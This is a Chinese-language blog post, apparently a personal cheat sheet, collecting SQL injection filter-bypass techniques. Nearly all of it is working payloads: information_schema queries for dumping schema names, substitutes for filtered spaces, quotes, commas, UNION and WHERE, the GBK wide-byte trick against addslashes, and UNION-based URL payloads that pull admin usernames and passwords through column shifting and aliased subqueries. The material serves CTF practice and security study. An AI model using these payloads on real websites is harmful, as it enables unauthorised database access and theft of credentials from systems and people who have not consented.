MitAh's Blog
SQLI 绕过姿势笔记
  • 2017年5月30日
  • SQLi
  • 0评论
  • 668汉字
  • 948围观

记录一下最近碰到的各种 SQLI 绕过姿势,长期更新

先列出常用的 sql 语句

爆库名

SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata

爆表名

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='xxxxxxx'

爆字段名

SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='xxxxxxx'

爆字段

SELECT flag FROM flag_is_here


注释符

#, --+, /*


AND OR 过滤

可用 &&, || 替换   


空格过滤

可用以下字符替换

/**/, +, %09, %0A, %0B, %0C, %0D, %A0, %20

还能用括号 () 来绕过

UNION(SELECT(password)FROM(admin)WHERE(id)=1)


单引号过滤

可用 hex 编码 以及 CHAR 函数来绕过

UNION SELECT * FROM admin WHERE username = 0x61646D696E
UNION SELECT * FROM admin WHERE username = CHAR(97, 100, 109, 105, 110)

GBK编码还可以使用宽字节绕过 addslashes
反斜杠的十六进制编码为 %5c
当输入为 %bf%27 时,函数遇到单引号自动在其前加入 %5c 变成了 %bf%5c%27
其中 %bf%5c 在gbk中变为一个宽字符
sql 语句变成

SELECT * FROM article WHERE id='1縗'

可以继续注入

除了 sql 以外,宽字节注入还在其他地方 比如 xss 中都能应用

逗号过滤

UNION SELECT 1,2,3,4,5

可用 JOIN 绕过

UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)


SUBSTRING((SELECT flag FROM flag),2,1)

可用 FROM x FOR x 绕过

SUBSTRING((SELECT flag FROM flag) FROM 2 FOR 1)


LIMIT 2,1

可用 OFFSET 绕过

LIMIT 1 OFFSET 2


UNION 过滤

可以用盲注来绕

xxxx.com/index.php?id=1' AND (SELECT username FROM admin)='admin' %23


WHERE 过滤

用 LIMIT 绕过
xxxx.com/index.php?id=-1' UNION SELECT 1,2,table_name FROM information_schema.tables LIMIT 4,1 %23
用 GROUP_CONCAT 绕过

GROUP_CONCAT 是一个拼接字符串的函数
完整的语法如下:

GROUP_CONCAT([DISTINCT 要连接的字段] [Order BY ASC/DESC 排序字段] [Separator '分隔符'])  
分隔符缺省默认为 `,`  

例如:

xxxx.com/index.php?id=-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables %23

由于 GROUP_CONCAT 这个函数是有一个最大长度限制的
上面的 payload 会将 information_schema.tables 中尽可能多的 table_name 拼接起来返回
并且在使用了 GROUP_CONCAT 后,如果不使用 GROUP BY,会将所有的数据合并在一起,LIMIT 是没有任何效果的。

配合 GROUP BY ,会使查询变得更简单
xxxx.com/index.php?id=-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables GROUP BY table_schema HAVING table_schema='test' %23

这条语句会将 test 库中所有的表名(如果没有达到最大长度)拼接后返回

也可以配合 子查询 + LIMIT 食用
xxxx.com/index.php?id=-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM (SELECT table_name FROM information_schema.tables LIMIT 10,10)a %23

上面这条 payload 会返回第11-20条 table_name 的拼接结果

字段名过滤

例如
当前表 article 字段数为5 显位是3
目标表 admin 字段数为3

xxxx.com/index.php?id=-1' UNION SELECT 1,2,3,4,5 %23

页面显示 3
已知 admin 表中有 id username password 3个字段 但字段名都被ban掉了
或者 column 被ban了 爆不出字段名

移位溢注

使用条件有些限制
当前表字段数 > 目标表字段数
当前表字段数 >= 2 * 目标表字段数 - 1 效果最好
并且显位最好是中间段
原理:
可以用 admin.* 来代替 id,username,password
当目标表字段数 < 当前表字段数时
可以直接尝试

xxxx.com/index.php?id=-1' UNION SELECT admin.* FROM admin %23
xxxx.com/index.php?id=-1' UNION SELECT 1,admin.* FROM admin %23
xxxx.com/index.php?id=-1' UNION SELECT 1,2,admin.* FROM admin %23

来获取目标表的字段数

之后就可以进行移位溢注

xxxx.com/index.php?id=-1' UNION SELECT 1,2,admin.* FROM admin %23

爆出 id

xxxx.com/index.php?id=-1' UNION SELECT 1,admin.*,5 FROM admin %23

爆出 username

xxxx.com/index.php?id=-1' UNION SELECT admin.*,4,5 FROM admin %23

爆出 password

子查询

看上去比较繁琐 但一般情况都能够使用
当目标表字段数 > 当前表字段数
移位溢注不满足使用条件时
可在子查询中使用 order by 来获取目标表字段数

xxxx.com/index.php?id=-1' UNION SELECT 1,2,3,4,5 FROM (SELECT * FROM admin ORDER BY 3)x %23

通过构造子查询 给本来被ban(或者爆不出)的字段名换了个"名字"
先构造子查询的联合查询语句并指定别名

SELECT 1 as admin_1,2 as admin_2,3 as admin_3 FROM admin WHERE 1=2 UNION SELECT * from admin

然后对这个子查询结果集进行查询

xxxx.com/index.php?id=-1' UNION SELECT 1,2,admin_x,4,5 FROM (SELECT 1 as admin_1,2 as admin_2,3 as admin_3 from admin WHERE 1=2 UNION SELECT * from admin)x %23

具体姿势可以看这篇文章
http://115.159.210.46/archives/3.html

0 评论

分类目录
赞助二维码

支付宝

评论表情